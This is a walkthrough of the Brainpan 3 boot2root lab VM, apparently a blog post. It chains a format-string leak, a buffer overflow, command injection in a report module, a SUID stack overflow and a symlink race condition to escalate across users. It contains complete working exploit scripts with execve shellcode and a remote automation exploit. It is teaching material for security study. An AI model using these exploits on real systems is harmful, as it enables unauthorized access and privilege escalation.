__ ) _ \ \ _ _| \ | _ \ \ \ | _ _| _ _| _ _|
__ \ | | _ \ | \ | | | _ \ \ | | | |
| | __ < ___ \ | |\ | ___/ ___ \ |\ | | | |
____/ _| \_\ _/ _\ ___| _| \_| _| _/ _\ _| \_| ___| ___| ___|
by superkojiman
techorganic.com
Intro
Recently Superkojiman released version 3 of the Brainpan boot2root series, this VM is mainly focused on binary exploitation.
Brainpan console
Once the VM is fully booted we do a port scan using nmap. This shows us 1 open port 1337 and a closed(firewalled) port 8080, Once we connect to the port 1337 we are presented with a login screen for the brainpan console.

According to the text on the screen we have to deal with a 4 digit code and after 3 failing attempts a new code would be created, so it’s very unlikely that we could bruteforce it. The first thing that came to my mind is that it could be a format string vulnerability and a quick test showed that this indeed was the case.
ACCESS CODE: %p%p%p
ERROR #1: INVALID ACCESS CODE: 0xbfa0b01c(nil)0x11f9
When using a format string pattern for decimals we could spot the login code 4601 in the output located on position 3
ACCESS CODE: %d-%d-%d-%d-%d-%d-%d
ERROR #1: INVALID ACCESS CODE: -1079988196-0-4601--1079988196-0-10-495804160
We can shorten our format string pattern to %3$d to directly retrieve the current login code
ACCESS CODE: %3$d
ERROR #1: INVALID ACCESS CODE: 4601
We login to the brainpan console using the code and are presented with a menu showing us a few options and which permissions are set such as AUTH, REPORT and MENU
--------------------------------------------------------------
SESSION: ID-5102
AUTH [Y] REPORT [N] MENU [Y]
--------------------------------------------------------------
1 - CREATE REPORT
2 - VIEW CODE REPOSITORY
3 - UPDATE SESSION NAME
4 - SHELL
5 - LOG OFF
ENTER COMMAND:
The most interesting options are 1,2 and 3.. 4 is obviously a troll. Using option 1 the console tells us that the report feature is disabled for this build, option 2 tells us the repository is now available and option 3 allows us to change our session name. It seems this option has a format string and buffer overflow vulnerability.
The repository option reminded me of the closed port at 8080, a quick re-scan shows that the port is now open and when we browse to it we are presented with a simple web page. I started a directory bruteforce which revealed the folder called “repo” which had 5 files in it.
Directory listing for /repo/
bofh
how-to-pwn-brainpan.jpg
README.txt
report
shell
The file called report caught my attention since we also have this report option in the brainpan console. I downloaded the file and started to analyze it.
Analyzing report
When running the executable on our local machine it show us its options
h4x@kali:~/bp3$ ./report
./report [0|1]
When supplying the desired arguments(report data and 1 or 0) we get a big charlie brown banner, I don’t know the guy but I bet hes a nice guy..
h4x@kali:~/bp3$ ./report aa 0
____
.-'& '-.
/ __ __ \
:-(__)--(__)--;
( (_ )
: ;
\ __ /
`-._____.-'
/`"""`\
/ , \
/|/\/\/\ _\
(_|/\/\/\\__)
|_______|
__)_ |_ (__
(_____|_____)
YOU'RE IN THE MATRIX
CHARLIE BROWN
Time to reverse engineer the executable to see what’s going on..
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@2
int bdoenc; // ST14_4@3
int v5; // ecx@7
char buf[100]; // [sp+18h] [bp-68h]@3
int canarie; // [sp+7Ch] [bp-4h]@1
canarie = *MK_FP(__GS__, 20);
if ( argc > 2 )
{
cb();
/*
- Copy the report data from argunent 1(report)
to 'buf', this could lead to a buffer overflow.
- convert argument 2(0 or 1) to a integer and
assign to 'bdoenc'
*/
strcpy(buf, argv[1]);
bdoenc = atoi(argv[2]);
/*
Make REPORT(.bss section) data executable(thx superkojiman) using
mprotect.
*/
P = REPORT;
N = (-sysconf(30) & REPORT);
mprotect(N, 500u, 7);
/*
Choose execution path based on 'bdoenc'
*/
if ( bdoenc )
{
sanitize(buf);
encrypt(buf);
record_data(buf);
}
else
{
record_data(buf);
record_id(buf);
}
printf("[+] RECORDED [%s]\n", buf);
result = 0;
}
else
{
printf("%s <report> [0|1]\n", *argv);
result = 0;
}
v5 = *MK_FP(__GS__, 20) ^ canarie;
return result;
}
int __cdecl sanitize(char *buf)
{
size_t i; // [sp+18h] [bp-10h]@1
int v3; // [sp+1Ch] [bp-Ch]@1
v3 = 0;
for ( i = 0; i < strlen(buf); ++i )
{
if ( !isalpha(buf[i]) )
{
buf[i] = '?';
++v3;
}
}
return v3;
}
size_t __cdecl encrypt(char *buf)
{
unsigned int dwseed; // eax@1
size_t result; // eax@3
size_t i; // [sp+18h] [bp-10h]@1
int key; // [sp+1Ch] [bp-Ch]@1
dwseed = time(0);
srand(dwseed);
key = rand() % 9000 + 1000;
for ( i = 0; ; ++i )
{
result = strlen(buf);
if ( i >= result )
break;
buf[i] ^= key;
}
return result;
}
void __cdecl record_data(const char *buf)
{
char *p; // eax@1
int v2; // ebx@1
time_t timer; // [sp+2Ch] [bp-5Ch]@1
FILE *fsOut; // [sp+30h] [bp-58h]@1
struct tm *timestamp; // [sp+34h] [bp-54h]@1
char tsstring[26]; // [sp+3Ah] [bp-4Eh]@1
char reportFilename[40]; // [sp+54h] [bp-34h]@1
int canary; // [sp+7Ch] [bp-Ch]@1
canary = *MK_FP(__GS__, 20);
fsOut = 0;
time(&timer);
timestamp = localtime(&timer);
strftime(tsstring, 26u, "%Y%m%d%H%M%S", timestamp);
memset(reportFilename, 0, 40u);
strcpy(reportFilename, "/home/anansi/REPORTS/");
strcat(reportFilename, tsstring);
p = &reportFilename[strlen(reportFilename)];
*p = 'per.';
p[4] = 0;
printf("[+] WRITING REPORT TO %s\n", reportFilename);
fsOut = fopen(reportFilename, "w");
fputs(buf, fsOut);
fclose(fsOut);
/*
Copy 100 bytes of the buf to REPORT
*/
strncpy(REPORT, buf, 100u);
feedback();
v2 = *MK_FP(__GS__, 20) ^ canary;
}
int __cdecl record_id(char *buf)
{
char dest[3]; // [sp+19h] [bp-Fh]@1
void (*pfeedback)(void); // [sp+1Ch] [bp-Ch]@1
pfeedback = feedback;
/*
strcpy overflows the dest buffer allowing
to control the pfeedback pointer
*/
strcpy(dest, buf);
pfeedback();
return atoi(dest);
}
void feedback(void)
{
puts("[+] DATA SUCCESSFULLY ENCRYPTED");
puts("[+] DATA SUCCESSFULLY RECORDED");
}
So the code starts with a check if the local hostname is brainpain3, assuming it is(I nopped the call cb), it copies the report data to buf and makes the REPORT data executable using mprotect. After that it checks the 2nd argument.
1: data in buf would be filtered using the sanitize function and then encrypted and finally stored using the record_data function which stores the data into a file and copies the first 100 bytes to REPORT.
0: data would directly be stored without any filtering or encryption and a additional function record_id is called, Now this is a interesting function..
When looking at the record_id function we can see it assigns a function pointer to pfeedback and then copies the content of buf into dest, now since dest only can hold up to 3 bytes we can overflow it and control the pfeedback pointer which is executed next after the strcpy resulting in code execution.
Testing this using a debugger gives us the expected result

So let’s summarize:
Since our first 100 bytes is stored at a executable location(REPORT) and we can control a function pointer(pfeedback) we could store some shellcode in REPORT and then make the pfeedback pointer point to our shellcode.
The address of REPORT can be looked up in IDA:
.bss:0804B0A0 public REPORT
.bss:0804B0A0 ; char REPORT[500]
.bss:0804B0A0 REPORT db 1F4h dup(?) ; DATA XREF: record_data+131
.bss:0804B0A0 ; main+7D
The exploit buffer could look something like:
AAA<REPORT_address+7><shellcode>
Note that we have to add 7 to the REPORT address to get past the 3 A’s and the 4 bytes of the function pointer.
POC
#!/usr/bin/env python
import struct
import sys
# .bss:0804B0A0 public REPORT
# .bss:0804B0A0 ; char REPORT[500]
# .bss:0804B0A0 REPORT db 1F4h dup(?) ; DATA XREF: record_data+131
# .bss:0804B0A0
# linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes
# http://shell-storm.org/shellcode/files/shellcode-752.php
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
__REPORT = 0x0804B0A0
def p(v):
return struct.pack('<L', v)
payload = 'AAA'
payload += p(__REPORT + 7)
payload += shellcode
print payload + ' 0'
And executing the poc spawns a shell as expected
h4x@kali:~/bp3$ ./report $(./report_local.py)
[+] WRITING REPORT TO /home/anansi/REPORTS/20150912020038.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
$ id
uid=1000(h4x) gid=1001(h4x) groups=1001(h4x),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),105(scanner),108(bluetooth),112(netdev),125(powerdev)
$
brainpan console – report feature
Now if you remember we currently cannot create reports from within the brainpan console since report feature is disabled so we must enable it, now this is where the buffer overflow in the “update session name” option(3) comes into play.
By overflowing the session name buffer we can control the values in:
AUTH [Y] REPORT [N] MENU [Y]
And by setting REPORT [N] to Y we would enable the report feature. A little fuzzer script helps us to find the correct length till we overwrite the N
#!/usr/bin/env python
from select import select
from socket import *
from time import sleep
import telnetlib
import sys
import struct
import re
class NetcatClient:
def __init__(self, host, port):
"""
Netcat Class init.
"""
self.host = host
self.port = int(port)
self.delay = 0.05
self.linemode = False
self.sock = socket(AF_INET, SOCK_STREAM)
# private functions
def __check_state(self, timeout=0):
"""
Check the socket it's read, write and exception state
using select
"""
# we need abit of a delay to keep things
# running smooth
sleep(self.delay)
return select([self.sock], [self.sock], [self.sock], timeout)
# core functions
def connect(self):
"""
Connect to host
"""
try:
self.sock.connect((self.host, self.port))
return True
except error as e:
print 'NetcatClassError:', e
return False
def close(self):
"""
Close the connection
"""
try:
self.sock.close()
except error as e:
print 'NetcatClassError:', e
def recv(self, size=4096):
"""
Recieve all data
"""
try:
data = ''
readable, writable, exceptional = self.__check_state()
if readable:
# while socket readable...
while readable:
# collect all data
data += self.sock.recv(size)
# re-check socket's state
readable, writable, exceptional = self.__check_state()
return data
except error as e:
print 'NetcatClassError:', e
def send(self, data):
"""
Send data
"""
if self.linemode:
data += '\n'
try:
readable, writable, exceptional = self.__check_state()
if writable:
self.sock.send(data)
except error as e:
print 'NetcatClassError:', e
def sendrecv(self, data):
"""
Send and recieve data
"""
self.send( data )
return self.recv()
def interact(self):
"""
Interactive telnet client
"""
try:
t = telnetlib.Telnet()
t.sock = self.sock
t.interact()
t.close()
except KeyboardInterrupt:
self.close()
if __name__ == '__main__':
# fuzzing code
s = NetcatClient('192.168.178.22', '1337')
s.linemode = True
s.connect()
# banner
s.recv()
# send format string pattern and grab the login code
r = s.sendrecv('%3$d')
# parse the login code from the reponse
l = re.findall(r"INVALID ACCESS CODE: (.*?)\n", r)
print 'login code -> ', l
# send login code and log in
s.sendrecv('%s'%(l[0]))
# send change sessionname commands
# with length of 0 ... 255
for i in range(256):
s.sendrecv('3')
resp = s.sendrecv(i * 'Y')
l = re.findall(r"REPORT \[(.*?)\]", resp)
print i,'->',l
# if value changed to Y break
if 'Y' in l[0]:
print 'payload -> %d * Y' % (i)
break
s.close()
Running the fuzzer results in:
h4x@kali:~/bp3$ ./test.py
login code -> ['3537']
0 -> ['N']
...
250 -> ['N']
251 -> ['\x00']
252 -> ['\x00']
253 -> ['Y']
payload -> 253 * Y
So by setting the session name to 253 Y chars we change the REPORT feature status from N to Y effectively enabling the report feature.
ENTER COMMAND: 3
SELECTED: 3
ENTER NEW SESSION NAME: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
--------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
AUTH [Y] REPORT [Y] MENU [Y]
--------------------------------------------------------------
1 - CREATE REPORT
2 - VIEW CODE REPOSITORY
3 - UPDATE SESSION NAME
4 - SHELL
5 - LOG OFF
ENTER COMMAND:
When testing the option we can now see its indeed enabled…
ENTER COMMAND: 1
SELECTED: 1
ENTER REPORT, END WITH NEW LINE:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
REPORT [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
SENDING TO REPORT MODULE
[+] WRITING REPORT TO /home/anansi/REPORTS/20150911214757.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii]
Almost there…
So now we can create reports from within the brainpan console and trigger the vulnerable code in the report executable, or cant we?
Well, it seems that the brainpan console executes the report executable with the 1 option and in order to trigger the vulnerable code in record_id it would need to be executed with the 0 option. I got a bit stuck here and reached out for barrebas for a hint and he kinda told me to play some more with the report buffer.
When we insert a double quote in our report data a interesting error appears
ENTER COMMAND: 1
SELECTED: 1
ENTER REPORT, END WITH NEW LINE:
aaa"
REPORT [aaa"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
SENDING TO REPORT MODULE
sh: 1: Syntax error: Unterminated quoted string
It seems that our double quote caused a error when the report commandline got executed, to be more precise a part of a string left unquoted but more interesting is that it seems we can do command injection using our report data.
ENTER COMMAND: 1
SELECTED: 1
ENTER REPORT, END WITH NEW LINE:
";id;"
REPORT [";id;"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
SENDING TO REPORT MODULE
/var/www/repo/report [0|1]
uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: not found
And we can also insert a 0 into the commandline to trigger the vulnerable code in record_id
ENTER COMMAND: 1
SELECTED: 1
ENTER REPORT, END WITH NEW LINE:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0 #
REPORT [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0 #" "0"#]
SENDING TO REPORT MODULE
Segmentation fault (core dumped)
Exploit
So in order to exploit this we need to:
– Grab the login code and log in
– Enable the REPORT feature
– Send our payload report including the 0 option
– Get a shell?
The following code automates this whole process:
#!/usr/bin/env python
from select import select
from socket import *
from time import sleep
import telnetlib, sys, re, struct
class NetcatClass:
def __init__(self, host, port):
"""
Netcat Class init.
"""
self.host = host
self.port = int(port)
self.delay = 0.05
self.linemode = False
self.sock = socket(AF_INET, SOCK_STREAM)
# private functions
def __check_state(self, timeout=0):
"""
Check the socket it's read, write and exception state
using select
"""
# we need abit of a delay to keep things
# running smooth
sleep(self.delay)
return select([self.sock], [self.sock], [self.sock], timeout)
# core functions
def connect(self):
"""
Connect to host
"""
try:
self.sock.connect((self.host, self.port))
return True
except error as e:
print 'NetcatClassError:', e
return False
def close(self):
"""
Close the connection
"""
try:
self.sock.close()
except error as e:
print 'NetcatClassError:', e
def recv(self, size=4096):
"""
Recieve all data
"""
try:
data = ''
readable, writable, exceptional = self.__check_state()
if readable:
# while socket readable...
while readable:
# collect all data
data += self.sock.recv(size)
# re-check socket's state
readable, writable, exceptional = self.__check_state()
return data
except error as e:
print 'NetcatClassError:', e
def send(self, data):
"""
Send data
"""
try:
readable, writable, exceptional = self.__check_state()
if writable:
if self.linemode:
data += '\n'
self.sock.sendall(data)
except error as e:
print 'NetcatClassError:', e
def sendrecv(self, data):
"""
Send and recieve data
"""
self.send(data)
return self.recv()
def interact(self):
"""
Interactive telnet client
"""
try:
t = telnetlib.Telnet()
t.sock = self.sock
t.interact()
t.close()
except KeyboardInterrupt:
self.close()
def p(v):
return struct.pack('<L', v)
def exploit(host, port):
# connect
s = NetcatClass(host, port)
# make all sends being treathed as line's eq. add a \n
s.linemode = True
s.connect()
# recieve banner
s.recv()
# send formatstring pattern and read response containing access code
print '[+] Leak access code'
acccode = re.findall(r"INVALID ACCESS CODE: (.*?)\n", s.sendrecv('%3$d'))
if not acccode:
print '[!] Failed to get access code!'
s.close()
exit()
print '[+] Access code leaked: {}'.format(acccode[0])
# send access code
s.sendrecv(acccode[0])
# enable report feature
print '[+] Enabling report feature'
s.sendrecv('3')
s.sendrecv(253 * 'Y')
# create payload
# linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes
# http://shell-storm.org/shellcode/files/shellcode-752.php
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
# .bss:0804B0A0 ; char REPORT[500]
# strncpy(REPORT, buf, 100u);
__bss_REPORT = 0x0804B0A0
# construct payload report
payload = "AAA"
payload += p(__bss_REPORT + 7)
payload += shellcode
# inject double qoute and a 0 to trigger
# the vulnerable code in record_id
payload += '" 0 #'
# send payload report
print '[+] Sending payload report'
s.sendrecv('1')
s.sendrecv( payload )
# interactive shell?
print '[+] Dropping into shell'
s.send('python -c "import pty;pty.spawn(\'/bin/bash\')"')
s.interact()
if __name__ == '__main__':
exploit('192.168.178.22', '1337')
And finally executing the exploit gives as a shell for the anansi user.
h4x@kali:~/bp3$ ./report.py
[+] Leak access code
[+] Access code leaked: 5869
[+] Enabling report feature
[+] Sending payload report
[+] Dropping into shell
anansi@brainpan3:/$
reynard
While looking around on the box I noticed the reynard folder is readable and within the “/private/” folder it has a SUID executable and a encrypted file
anansi@brainpan3:/$ ls -lah /home/reynard/private
ls -lah /home/reynard/private
total 20K
drwxrwx--- 2 reynard webdev 4.0K Jun 10 23:12 .
drwxr-xr-x 3 reynard reynard 4.0K Jun 10 22:30 ..
-rwsr-xr-x 1 reynard reynard 5.5K May 19 18:28 cryptor
-r-------- 1 reynard reynard 77 May 21 10:42 sekret.txt.enc
anansi@brainpan3:/home/reynard/private$ ./cryptor
./cryptor
Usage: ./cryptor file key
I copied both files to my local machine and started to analyze the cryptor executable
signed int __cdecl main(signed int argc, char **argv)
{
signed int result; // eax@2
if ( argc > 2 )
{
cryptFile(argv[1], argv[2]);
result = 0;
}
else
{
printf("Usage: %s file key\n", *argv);
result = 1;
}
return result;
}
int __cdecl cryptFile(char *pFilename, char *pKey)
{
char *p; // eax@4
int dkey; // eax@6
char pOutFilename[100]; // [sp+Ch] [bp-78h]@1
int DataByte; // [sp+70h] [bp-14h]@6 MAPDST
FILE *fsin; // [sp+74h] [bp-10h]@5
FILE *fsout; // [sp+78h] [bp-Ch]@4
/*
Zero buffers key and pOutFilename, each 100 bytes in size
.bss:0804A080 ; char key[100]
.bss:0804A080 key db 64h dup(?) ; DATA XREF: cryptFile+18
*/
memset(key, 0, 100u);
memset(pOutFilename, 0, 100u);
/*
very strange check...
buffer overflow in pOutFilename when the
length of pFilename > 100 and <= 116 bytes
*/
if ( strlen(pFilename) <= 116 )
strcpy(pOutFilename, pFilename);
else
strncpy(pOutFilename, pFilename, 90u);
/*
add filename extension(.enc) and truncate
*/
p = &pOutFilename[strlen(pOutFilename)];
*p = 'cne.';
p[4] = 0;
printf("[+] saving to %s\n", pOutFilename);
/*
copy pKey to global key buffer
*/
strcpy(key, pKey);
/*
Encrypt data using the key and write to file
*/
fsout = fopen(pFilename, "r");
if ( fsout )
{
for ( fsin = fopen(pOutFilename, "w"); ; fputc(dkey ^ DataByte, fsin) )
{
DataByte = fgetc(fsout);
if ( DataByte == -1 )
break;
DataByte = DataByte;
dkey = atoi(pKey);
}
fclose(fsin);
fclose(fsout);
}
return 0;
}
Starting from the main function we can see it passes the 2 arguments filename and key to the cryptFile function. Within this function it does a weird length check on the given filename, if the length is less or 116 chars it copies the full filename into the 100 bytes pOutFilename buffer resulting in a 16 bytes overflow. Now this is not enough to overflow the return address of this function.
stack layout
-00000078 pOutFile db 100 dup(?)
-00000014 DataByte dd ?
-00000010 fsin dd ? ; offset
-0000000C fsout dd ? ; offset
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 pFile dd ? ; offset
+0000000C pKey dd ? ; offset
But the interesting thing happens when we return from cryptFile and leave the main function. Since the main function exits with a leave instruction..
.text:08048786 call cryptFile
.text:0804878B mov eax, 0
.text:08048790
.text:08048790 locret_8048790: ; CODE XREF: main+26
.text:08048790 leave
.text:08048791 retn
A leave instruction does the same as:
mov esp, ebp
pop ebp
Which effectively restores the stack pointer, now when we place a breakpoint on the leave instruction and start the executable with a 116 chars filename we can see what happens
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fba3c0 --> 0x0
EDX: 0xfffff000
ESI: 0x0
EDI: 0x636e652e ('.enc')
EBP: 0xbffff400 ('A' )
ESP: 0xbffff480 --> 0xbffff69c ('A' )
EIP: 0x8048790 (leave)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048783: mov DWORD PTR [esp],eax
0x8048786: call 0x80485ed
0x804878b: mov eax,0x0
=> 0x8048790: leave
0x8048791: ret
0x8048792: xchg ax,ax
0x8048794: xchg ax,ax
0x8048796: xchg ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xbffff480 --> 0xbffff69c ('A' )
0004| 0xbffff484 --> 0xbffff711 --> 0x53530041 ('A')
0008| 0xbffff488 --> 0xbffff508 --> 0x0
0012| 0xbffff48c --> 0xb7e6fe46 (: mov DWORD PTR [esp],eax)
0016| 0xbffff490 --> 0x3
0020| 0xbffff494 --> 0xbffff534 --> 0xbffff686 ("/home/h4x/bp3/cryptor")
0024| 0xbffff498 --> 0xbffff544 --> 0xbffff713 ("SSH_AGENT_PID=4019")
0028| 0xbffff49c --> 0xb7fdd860 --> 0xb7e59000 --> 0x464c457f
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048790 in ?? ()
EBP(0xbffff400) points to our filename buffer and when executing the leave instruction that becomes ESP
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fba3c0 --> 0x0
EDX: 0xfffff000
ESI: 0x0
EDI: 0x636e652e ('.enc')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff404 ('A' )
EIP: 0x8048791 (ret)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048786: call 0x80485ed
0x804878b: mov eax,0x0
0x8048790: leave
=> 0x8048791: ret
0x8048792: xchg ax,ax
0x8048794: xchg ax,ax
0x8048796: xchg ax,ax
0x8048798: xchg ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xbffff404 ('A' )
0004| 0xbffff408 ('A' )
0008| 0xbffff40c ('A' )
0012| 0xbffff410 ('A' )
0016| 0xbffff414 ('A' )
0020| 0xbffff418 ('A' )
0024| 0xbffff41c ('A' )
0028| 0xbffff420 ('A' )
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048791 in ?? ()
And finally
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fba3c0 --> 0x0
EDX: 0xfffff000
ESI: 0x0
EDI: 0x636e652e ('.enc')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff408 ('A' )
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xbffff408 ('A' )
0004| 0xbffff40c ('A' )
0008| 0xbffff410 ('A' )
0012| 0xbffff414 ('A' )
0016| 0xbffff418 ('A' )
0020| 0xbffff41c ('A' )
0024| 0xbffff420 ('A' )
0028| 0xbffff424 ('A' )
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x41414141 in ?? ()
So how are we gonna exploit this? well remember the key being stored in a global buffer, it seems that cryptor is compiled with executable stack and memory so we could place our shellcode in the key buffer and use in the filename buffer overflow to execute that shellcode by returning to it.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
Exploit
#!/usr/bin/env python
import struct
def p(v):
return struct.pack('<L', v)
# ./cryptor $(python cryptthis.py)
shellcode = '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
__bss_key = 0x0804a080
# overflow the 'pOutFile' buffer(argument 1) with
# the address of 'key'
# char pOutFile[100]; // [sp+Ch] [bp-78h]@1
argFile = 29 * p(__bss_key) # 29 * 4 = 116 bytes
# store shellcode in 'key'(argument 2)
# .bss:0804A080 ; char key[100]
argKey = shellcode
print argFile + ' ' + argKey
When executing the exploit it not always works, just execute it a few times till it does
h4x@kali:~/bp3$ ./cryptor $(python cryptthis.py)
[+] saving to ����������������������������������������������������������.enc
Segmentation fault
h4x@kali:~/bp3$ ./cryptor $(python cryptthis.py)
[+] saving to ����������������������������������������������������������.enc
$ whoami
h4x
$
And on the brainpan box
anansi@brainpan3:/home/reynard/private$ ./cryptor $(/tmp/cryptthis.py)
./cryptor $(/tmp/cryptthis.py)
[+] saving to ����������������������������������������������������������.enc
Segmentation fault (core dumped)
anansi@brainpan3:/home/reynard/private$ ./cryptor $(/tmp/cryptthis.py)
./cryptor $(/tmp/cryptthis.py)
[+] saving to ����������������������������������������������������������.enc
$ whoami
whoami
reynard
$
Puck
It took me a bit to figure out how to escalate to puck, when I did a netstat I noticed a service listing local on port 7075 and when connecting to it I was presented with the following text
$ nc 127.0.0.1 7075
nc 127.0.0.1 7075
open: No such file or directory
Incorrect key
After some more searching I found the trixd executable related to this service in the /usr/local/sbin folder
$ ls -lah /usr/local/sbin/
ls -lah /usr/local/sbin/
total 40K
drwxr-xr-x 2 root root 4.0K May 26 18:38 .
drwxr-xr-x 10 root root 4.0K May 19 18:06 ..
-rwxr-xr-x 1 root root 17K May 26 18:38 brainpan3
-rwxr-xr-x 1 root root 7.5K May 20 10:18 trixd
-rwxr-xr-x 1 root root 343 May 21 11:38 www
I copied the file to my local machine to analyze it
int checkKeyfile()
{
int fd1; // eax@3 MAPDST
int fd2; // eax@4 MAPDST
int res; // ebx@5
int v6; // [sp+10h] [bp-A8h]@0
struct timeval stimeval; // [sp+24h] [bp-94h]@2
struct stat sstat; // [sp+2Ch] [bp-8Ch]@2
char pkey1[20]; // [sp+84h] [bp-34h]@2
char pkey2[20]; // [sp+98h] [bp-20h]@2
int v11; // [sp+ACh] [bp-Ch]@1
v11 = v14;
/*
Anti debug code
*/
if ( ptrace(0, 0, 1, 0, v6) < 0 )
{
res = -1;
}
else
{
setbuf(stdout, 0);
stimeval.tv_usec = 1;
memset(pkey1, 0, 20);
memset(pkey2, 0, 20);
/*
check if the "/mnt/usb/key.txt" isn't a symbolic link
*/
_lxstat(3, "/mnt/usb/key.txt", &sstat);
if ( (sstat.st_mode & 0xF000) == C_ISLNK )
{
res = -1;
puts("Key file is compromised.");
}
else
{
/*
Do a little sleep...
*/
select(1, 0, 0, 0, &stimeval);
/*
Open puck's keyfile and read its content
*/
fd1 = open("/home/puck/key.txt", 0);
if ( fd1 < 0 )
perror("open");
read(fd1, pkey1, 19u);
/*
Open the "/mnt/usb/key.txt" keyfile and read it's content
*/
fd2 = open("/mnt/usb/key.txt", 0);
if ( fd2 < 0 )
perror("open");
read(fd2, pkey2, 19u);
/*
Compare both keys and execute a shell when they match
*/
res = strcmp(pkey2, pkey1);
if ( res )
{
res = 0;
puts("Incorrect key");
}
else
{
puts("Authentication successful");
system("/bin/sh");
}
}
}
return res;
}
The “/mnt/usb/” folder is writable by reynard
131707 4 drwxrwx--- 2 reynard dev 4096 Aug 2 15:54 /mnt/usb
Once we connect to the service on 7075 the checkKeyfile function is executed which opens 2 keyfiles and compares the content of them and if they match we are dropped into a shell. The symbolic link check and sleep(using select) made it kinda obvious to me Superkojiman was hinting on a race condition. We could repeatedly create a keyfile in the usb folder and then change it to a symbolic link pointing to the keyfile in puck’s folder while at the same time connecting to the service and hope that at some point we beat the time between the symbolic link check and opening the file.
This would trick the code in comparing 2 the same files, the valid key in pucks folder.
A race to win
I wrote a piece of python code that repeatedly creates a keyfile, changes it to a symlink and does little sleeps between each action. This script has to be run as reynard since he is the only one allowed to write to the usb folder. Any other user can connect to the service.
#!/usr/bin/env python
import os
import time
# run this netcat commandline this script runs(needs a second terminal)
# for i in {0..100};do nc 127.0.0.1 7075;sleep 0.1; done
if os.geteuid() != 1002:
print 'Run as user reynard'
else:
for i in range(1000):
# create dummy key
os.system('echo "h4xh4xh4xh4xh4xh4x" > /mnt/usb/key.txt')
# wait abit ...
time.sleep(0.1)
# delete dummy key
os.unlink('/mnt/usb/key.txt')
# create symlink to puck key
os.symlink('/home/puck/key.txt', '/mnt/usb/key.txt')
# wait abit ...
time.sleep(0.1)
# delete symlink
os.unlink('/mnt/usb/key.txt')
print '[+] Finished'
In order for this to work we need 2 shells so I created another anansi shell using the report exploit. This anansi shell is used to connect to the service while the reynard shell executes the race script.
The race script.
$ python /tmp/race.py
python /tmp/race.py
Running the netcat loop in the 2nd terminal a few times until it succeeds..
anansi@brainpan3:/$ for i in {0..100};do nc 127.0.0.1 7075;sleep 0.1; done
for i in {0..100};do nc 127.0.0.1 7075;sleep 0.1; done
...
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Authentication successful
id
id
